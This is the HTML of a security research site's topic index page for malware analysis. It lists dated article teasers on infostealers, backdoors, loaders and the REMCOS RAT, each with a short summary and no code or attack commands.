CINXE.COM
Malware analysis — Elastic Security Labs
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><title>Malware analysis — Elastic Security Labs</title><meta name="description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:title" content="Malware analysis — Elastic Security Labs"/><meta property="og:description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:image" content="https://www.elastic.co/security-labs/assets/security-labs-thumbnail.png?a822d44d7a6e0521327bcdf2238edf6a"/><meta property="og:image:alt" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta property="og:site_name"/><meta property="og:url" content="https://www.elastic.co/security-labs/topics/malware-analysis"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Malware analysis — Elastic Security Labs"/><meta name="twitter:description" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><meta name="twitter:image" content="https://www.elastic.co/security-labs/assets/security-labs-thumbnail.png?a822d44d7a6e0521327bcdf2238edf6a"/><meta name="twitter:image:alt" content="Elastic Security Labs empowers security teams across the globe with novel security intelligence research and free to use tools."/><link rel="canonical" href="https://www.elastic.co/security-labs/topics/malware-analysis"/><link rel="preload" href="/security-labs/logo.svg" as="image" fetchpriority="high"/><link rel="preload" as="image" imageSrcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=640&q=75 640w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=750&q=75 750w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=828&q=75 828w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1080&q=75 1080w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1200&q=75 1200w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1920&q=75 1920w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=2048&q=75 2048w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=3840&q=75 3840w" imageSizes="100vw" fetchpriority="high"/><meta name="next-head-count" content="19"/><script src="https://play.vidyard.com/embed/v4.js" type="text/javascript" async=""></script><link rel="icon" href="/security-labs/favicon.svg"/><link rel="mask-icon" href="/security-labs/favicon.svg" color="#1C1E23"/><link rel="apple-touch-icon" href="/security-labs/favicon.svg"/><meta name="theme-color" content="#1C1E23"/><link rel="preload" href="/security-labs/_next/static/media/6d93bde91c0c2823-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/a34f9d1faa5f3315-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/369c6e283c5acc6e-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/92f44bb82993d879-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/ee71530a747ff30b-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/9fac010bc1f02be0-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><link rel="preload" href="/security-labs/_next/static/media/cbf5fbad4d73afac-s.p.woff2" as="font" type="font/woff2" crossorigin="anonymous" data-next-font="size-adjust"/><script id="google-tag-manager" data-nscript="beforeInteractive"> (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KNJMG2M'); </script><link rel="preload" href="/security-labs/_next/static/css/265ed7605fd03477.css" as="style"/><link rel="stylesheet" href="/security-labs/_next/static/css/265ed7605fd03477.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/security-labs/_next/static/chunks/polyfills-78c92fac7aa8fdd8.js"></script><script src="/security-labs/_next/static/chunks/webpack-7987c6fda769d510.js" defer=""></script><script src="/security-labs/_next/static/chunks/framework-7a7e500878b44665.js" defer=""></script><script src="/security-labs/_next/static/chunks/main-ebd33a9f1cae5951.js" defer=""></script><script src="/security-labs/_next/static/chunks/pages/_app-cb8664d1d3df2511.js" defer=""></script><script src="/security-labs/_next/static/chunks/fec483df-43ee602fabdfe3a4.js" defer=""></script><script src="/security-labs/_next/static/chunks/877-34f408271ef44c22.js" defer=""></script><script src="/security-labs/_next/static/chunks/511-d08fe0fdd6f8a984.js" defer=""></script><script src="/security-labs/_next/static/chunks/402-8f632e261e10d103.js" defer=""></script><script src="/security-labs/_next/static/chunks/616-0b017b9cfa597392.js" defer=""></script><script src="/security-labs/_next/static/chunks/pages/topics/%5Bslug%5D-4d565185d54c625d.js" defer=""></script><script src="/security-labs/_next/static/kahZ-cxorFKvHlgt0NoHQ/_buildManifest.js" defer=""></script><script src="/security-labs/_next/static/kahZ-cxorFKvHlgt0NoHQ/_ssgManifest.js" defer=""></script></head><body><noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KNJMG2M" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript><div id="__next"><main class="__variable_0351a5 __variable_1f211e __variable_a5b5f5 flex flex-col min-h-screen"><div class="scroll-percentage-container invisible"><div class="scroll-percentage-bar" style="width:0%"></div></div><nav class="fixed w-full z-40" data-headlessui-state=""><div class="bg-gradient-to-b from-zinc-900 from-20% h-[200%] to-transparent absolute inset-0 z-0 pointer-events-none"></div><div class="container relative z-10"><div class="flex h-16 items-center justify-between"><div class="flex items-center justify-start w-full"><div><a class="hover:opacity-50 transition" href="/security-labs"><img alt="elastic security labs logo" fetchpriority="high" width="200" height="30" decoding="async" data-nimg="1" style="color:transparent" src="/security-labs/logo.svg"/></a></div><div class="hidden lg:ml-6 lg:block"><div class="flex space-x-4"><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/about"><span>About</span></a><div class="relative" data-headlessui-state=""><div><button class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" id="headlessui-menu-button-:R2kpm:" type="button" aria-haspopup="menu" aria-expanded="false" data-headlessui-state="">Topics<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="ml-1 -mr-1 h-4 w-4 text-zinc-400 relative top-[1px]"><path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd"></path></svg></button></div></div><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/vulnerability-updates"><span>Vulnerability updates</span></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/reports"><span>Reports</span></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="/security-labs/category/tools"><span>Tools</span></a></div></div><div class="hidden lg:ml-auto lg:block"><div class="flex items-center space-x-4"><a class="rounded flex items-center p-4 text-white focus:outline-none focus:ring-0 focus:ring-offset-1 focus:ring-offset-zinc-600 group" href="https://search.elastic.co/?location%5B0%5D=Security%20Labs&referrer=https://www.elastic.co/security-labs/topics/malware-analysis"><div class="flex items-center relative font-display"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"></path></svg></div></a><a class="flex lg:inline-flex font-light my-1 py-1 px-2 font-display font-semibold lg:text-sm xl:text-base items-center transition hover:hover-link hover:text-white focus:accessible-link-focus" href="https://www.elastic.co/security-labs/rss/feed.xml"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="h-4 w-4 mr-1"><path d="M3.75 3a.75.75 0 00-.75.75v.5c0 .414.336.75.75.75H4c6.075 0 11 4.925 11 11v.25c0 .414.336.75.75.75h.5a.75.75 0 00.75-.75V16C17 8.82 11.18 3 4 3h-.25z"></path><path d="M3 8.75A.75.75 0 013.75 8H4a8 8 0 018 8v.25a.75.75 0 01-.75.75h-.5a.75.75 0 01-.75-.75V16a6 6 0 00-6-6h-.25A.75.75 0 013 9.25v-.5zM7 15a2 2 0 11-4 0 2 2 0 014 0z"></path></svg><span class="hidden xl:block">Subscribe</span></a><a class="font-display inline-flex items-center justify-center rounded font-semibold disabled:!select-none disabled:!bg-gray-400 bg-blue-600 text-white hover:bg-blue-500 enabled:hover:text-white/80 transition-colors px-4 py-2 text-sm flex-1 lg:flex-auto" href="https://cloud.elastic.co/registration?cta=cloud-registration&tech=trial&plcmt=navigation&pg=security-labs">Start free trial</a><a class="font-display inline-flex items-center justify-center rounded font-semibold text-white disabled:!select-none disabled:!bg-gray-400 button px-4 py-2 text-sm flex-1 lg:flex-auto" href="https://www.elastic.co/contact">Contact sales</a></div></div></div><div class="-mr-2 flex lg:hidden"><a class="rounded flex items-center p-4 text-white focus:outline-none focus:ring-0 focus:ring-offset-1 focus:ring-offset-zinc-600 group" href="https://search.elastic.co/?location%5B0%5D=Security%20Labs&referrer=https://www.elastic.co/security-labs/topics/malware-analysis"><div class="flex items-center relative font-display"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"></path></svg></div></a><button class="inline-flex items-center justify-center rounded-md p-2 text-gray-400 hover:bg-gray-700 hover:text-white focus:outline-none focus:ring-2 focus:ring-inset focus:ring-white" id="headlessui-disclosure-button-:R59m:" type="button" aria-expanded="false" data-headlessui-state=""><span class="sr-only">Open navigation menu</span><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true" class="block h-6 w-6"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"></path></svg></button></div></div></div></nav><main class="mb-20 flex-1 flex flex-col"><div class="h-48 md:h-64"><div class="after:absolute after:block after:bg-blue-400 after:blur-3xl after:content-[' '] after:h-96 after:opacity-5 after:right-0 after:rounded-full after:top-20 after:w-1/2 after:z-0 before:absolute before:block before:blur-3xl before:bg-orange-400 before:content-[' '] before:h-96 before:left-0 before:opacity-5 before:rounded-full before:w-1/2 before:z-0 w-full h-full relative"><div class="relative z-10 w-full h-[125%] -top-[25%] bg-no-repeat bg-cover bg-bottom flex items-center justify-center" style="background-image:url(/security-labs/grid.svg)"></div></div></div><div class="container relative"><div class="mb-8 flex justify-between items-end"><div class="flex-grow"><h4 class="font-bold leading-tight text-lg md:text-2xl mb-4">Topic</h4><h1 class="font-bold leading-tighter text-3xl md:text-5xl">Malware analysis</h1></div><div class="shrink-0 flex items-center space-x-4"><a href="https://www.elastic.co/security-labs/rss/topics/malware-analysis.xml" class="button" title="Subscribe"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true" class="h-5 w-5 mr-2"><path d="M3.75 3a.75.75 0 00-.75.75v.5c0 .414.336.75.75.75H4c6.075 0 11 4.925 11 11v.25c0 .414.336.75.75.75h.5a.75.75 0 00.75-.75V16C17 8.82 11.18 3 4 3h-.25z"></path><path d="M3 8.75A.75.75 0 013.75 8H4a8 8 0 018 8v.25a.75.75 0 01-.75.75h-.5a.75.75 0 01-.75-.75V16a6 6 0 00-6-6h-.25A.75.75 0 013 9.25v-.5zM7 15a2 2 0 11-4 0 2 2 0 014 0z"></path></svg><span>Subscribe</span></a></div></div><div class="bg-zinc-900 border border-zinc-800 drop-shadow-lg p-5 sm:p-8 md:p-10 rounded-3xl mb-8 md:mb-20"><div class="flex flex-col-reverse justify-between lg:flex-row"><div class="flex flex-col justify-between max-w-xl lg:mt-0 mt-10 pr-10"><div><h4 class="font-bold leading-tight text-lg md:text-2xl mb-3">28 October 2024</h4><h2 class="font-bold text-2xl md:text-4xl mb-5"><a class="hover:text-blue-400 transition" href="/security-labs/katz-and-mouse-game">Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses</a></h2></div><p class="text-sm md:text-base text-zinc-400">Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.</p></div><div class="w-full max-w-2xl"><a href="/security-labs/katz-and-mouse-game"><div class="relative w-full rounded-lg overflow-hidden aspect-video"><img alt="placeholder image" fetchpriority="high" decoding="async" data-nimg="fill" class="object-cover absolute h-full w-full" style="position:absolute;height:100%;width:100%;left:0;top:0;right:0;bottom:0;color:transparent" sizes="100vw" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=640&q=75 640w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=750&q=75 750w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=828&q=75 828w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1080&q=75 1080w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1200&q=75 1200w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=1920&q=75 1920w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=2048&q=75 2048w, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=3840&q=75 3840w" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fkatz-and-mouse-game%2FSecurity%20Labs%20Images%202.jpg&w=3840&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div></a></div></div></div><div class="grid sm:grid-cols-2 lg:grid-cols-4 gap-8"><a href="/security-labs/tricks-and-treats"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Tricks and Treats: GHOSTPULSE’s new pixel-level deception" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftricks-and-treats%2Ftricks-and-treats.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftricks-and-treats%2Ftricks-and-treats.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftricks-and-treats%2Ftricks-and-treats.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">19 October 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Tricks and Treats: GHOSTPULSE’s new pixel-level deception</h3><p class="text-sm text-zinc-400">The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.</p></div></a><a href="/security-labs/betting-on-bots"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbetting-on-bots%2Fbetting-on-bots.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbetting-on-bots%2Fbetting-on-bots.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbetting-on-bots%2Fbetting-on-bots.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">27 September 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse</h3><p class="text-sm text-zinc-400">The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.</p></div></a><a href="/security-labs/dprk-code-of-conduct"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Code of Conduct: DPRK’s Python-fueled intrusions into secured networks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">18 September 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Code of Conduct: DPRK’s Python-fueled intrusions into secured networks</h3><p class="text-sm text-zinc-400">Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.</p></div></a><a href="/security-labs/beyond-the-wail"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Beyond the wail: deconstructing the BANSHEE infostealer" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbeyond-the-wail%2Fbeyond-the-wail.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbeyond-the-wail%2Fbeyond-the-wail.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbeyond-the-wail%2Fbeyond-the-wail.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">15 August 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Beyond the wail: deconstructing the BANSHEE infostealer</h3><p class="text-sm text-zinc-400">The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.</p></div></a><a href="/security-labs/bits-and-bytes-analyzing-bitsloth"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbits-and-bytes-analyzing-bitsloth%2FSecurity%20Labs%20Images%2029.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbits-and-bytes-analyzing-bitsloth%2FSecurity%20Labs%20Images%2029.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbits-and-bytes-analyzing-bitsloth%2FSecurity%20Labs%20Images%2029.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 August 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor</h3><p class="text-sm text-zinc-400">Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.</p></div></a><a href="/security-labs/dipping-into-danger"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dipping into Danger: The WARMCOOKIE backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdipping-into-danger%2Fwarmcookie.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdipping-into-danger%2Fwarmcookie.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdipping-into-danger%2Fwarmcookie.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">12 June 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dipping into Danger: The WARMCOOKIE backdoor</h3><p class="text-sm text-zinc-400">Elastic Security Labs observed threat actors masquerading as recruiting firms to deploy a new malware backdoor called WARMCOOKIE. This malware has standard backdoor capabilities, including capturing screenshots, executing additional malware, and reading/writing files.</p></div></a><a href="/security-labs/globally-distributed-stealers"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Globally distributed stealers" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fglobally-distributed-stealers%2FSecurity%20Labs%20Images%2025.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fglobally-distributed-stealers%2FSecurity%20Labs%20Images%2025.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fglobally-distributed-stealers%2FSecurity%20Labs%20Images%2025.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">24 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Globally distributed stealers</h3><p class="text-sm text-zinc-400">This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.</p></div></a><a href="/security-labs/spring-cleaning-with-latrodectus"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fspring-cleaning-with-latrodectus%2FSecurity%20Labs%20Images%2016.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fspring-cleaning-with-latrodectus%2FSecurity%20Labs%20Images%2016.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fspring-cleaning-with-latrodectus%2FSecurity%20Labs%20Images%2016.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">16 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID</h3><p class="text-sm text-zinc-400">Elastic Security Labs has observed an uptick in a recent emerging loader known as LATRODECTUS. This lightweight loader packs a big punch with ties to ICEDID and may turn into a possible replacement to fill the gap in the loader market.</p></div></a><a href="/security-labs/dissecting-remcos-rat-part-four"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-four%2FSecurity%20Labs%20Images%2018.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-four%2FSecurity%20Labs%20Images%2018.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-four%2FSecurity%20Labs%20Images%2018.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">10 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four</h3><p class="text-sm text-zinc-400">In previous articles in this multipart series, malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.</p></div></a><a href="/security-labs/dissecting-remcos-rat-part-three"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-three%2FSecurity%20Labs%20Images%2014.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-three%2FSecurity%20Labs%20Images%2014.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-three%2FSecurity%20Labs%20Images%2014.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">3 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three</h3><p class="text-sm text-zinc-400">In previous articles in this multipart series, malware researchers on the Elastic Security Labs team dove into the REMCOS execution flow. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.</p></div></a><a href="/security-labs/dissecting-remcos-rat-part-two"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-two%2FSecurity%20Labs%20Images%2021.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-two%2FSecurity%20Labs%20Images%2021.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-two%2FSecurity%20Labs%20Images%2021.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 April 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Two</h3><p class="text-sm text-zinc-400">In the previous article in this series on the REMCOS implant, we shared information about execution, persistence, and defense evasion mechanisms. Continuing this series we’ll cover the second 